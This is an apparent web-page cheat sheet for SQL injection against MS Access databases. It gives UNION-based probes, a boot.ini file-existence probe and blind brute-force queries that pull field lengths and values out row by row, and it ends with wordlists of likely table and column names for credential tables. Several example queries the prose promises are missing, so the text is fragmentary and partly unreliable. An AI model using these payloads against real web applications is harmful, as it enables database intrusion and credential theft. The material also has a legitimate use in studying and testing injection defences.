MS Access SQL Injection Cheat Sheet
version 0.1
(last update 04/10/2007)
‘ UNION SELECT 1,1,1 FROM validTableName%00
‘ UNION SELECT ‘web’ %2b ‘app’ FROM validTableName%00 : returns “webapp”
By injecting :
‘ UNION SELECT name FROM msysobjects IN ‘\boot.ini’%00 : (if file exists) an error message is obtained (it informs that the database format was not recognized).
Usually if a SQL Injection exists, when you type a quote (’) in a URL parameter you obtain an error message such as :
And this tells you that the current table has a parameter called “Id”. Often programmers use the same names for URL and query attributes. When you know one parameter name you can use the technique used with MS SQL Server to enumerate other table fields name by injecting :
Now you’ll obtain a new error message contains another attribute name. Enumeration follows by injecting :
until you’ll enumerate all the parameters.
System OS Interaction
By default it’s impossible to access to these functions
Its default values is 2, so by default it’s impossible to use these functions. What I propose below are some examples tested with that register key setted to 0.
MS Access System Tables
By default it’s impossible to access to these system tables
This query can be used to obtain database tables name :
After injection you have to check the html response page. If table exists you should have the same html page layout (because “AND 1” has no effect on the query).
Step #2 : Bruteforce Field Name
As above, you should check the html page layout to inferece the field name existence .
Where “X” is a number between 0 and an arbitrary value. As above you will find the correct number by checking html page layout.
You can bruteforce the value length of a generic “ATTRIB” field at row number 1 with this query :
‘ AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)%00
You can bruteforce the value length of a generic “ATTRIB” field from row 2 to TAB_LEN with this query (here N is a number between 2 and TAB_LEN, the value bruteforced before) :
“KKK“ is a value between 0 and an arbitrary value, while ATTRIB<>’valueXXX’ is used because we have to select a specific line to bruteforce. The unique way I found to do this is to select the desidered row with “TOP N“,and then insert in the WHERE clause all the attribute values bruteforced before. I have to say that “ATTRIB” must be the table key-field. Here is an example :
A1 | A2 | A3 |
1111 | 2222 | 3333 |
0000 | 4444 | oooo |
aaaa | bbbb | cccc |
You can bruteforce fields value length for row 1 in this way :
‘ AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)%00
‘ AND IIF((SELECT TOP 1 LEN(A2) FROM Table) = KKK, 1, 0)%00
‘ AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)%00
While you can bruteforce fields length value of second row in this way (assuming A1 as table key-field) :
‘ AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
A1 <>’1111′) = KKK, 1, 0)%00
‘ AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
A1 <> ‘1111′) = KKK, 1, 0)%00
‘ AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
A1 <> ‘1111′) = KKK, 1, 0)%00
The same for row number 3 :
‘ AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
A1 <>’1111′ AND A1 <> ‘0000′) = KKK, 1, 0)%00
‘ AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
A1 <> ‘1111′ AND A1 <> ‘0000′) = KKK, 1, 0)%00
‘ AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
A1 <> ‘1111′ AND A1 <> ‘0000′) = KKK, 1, 0)%00
Obviusly, before bruteforcing field value length (at row between 2 and TAB_LEN) you have to bruteforce the previous row (key) field value (you have to put it in the WHERE clause).
Where “N” is the row to bruteforce, “XXX” is the x-th byte of “ATTRIBxxx” to bruteforce, “ATT_key” is the table key-field and “YYY” is a number between 0 and 255 (it represents the ASCII value for a char). Here we have to use the same method mentioned before to correctly bruteforce a specific row attribute content.
account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
customers, customer, config, conf, cfg;
hash;
login, logout, loginout, log;
member, memberid;
password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
store, store1, store2, store3, store4, setting;
username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;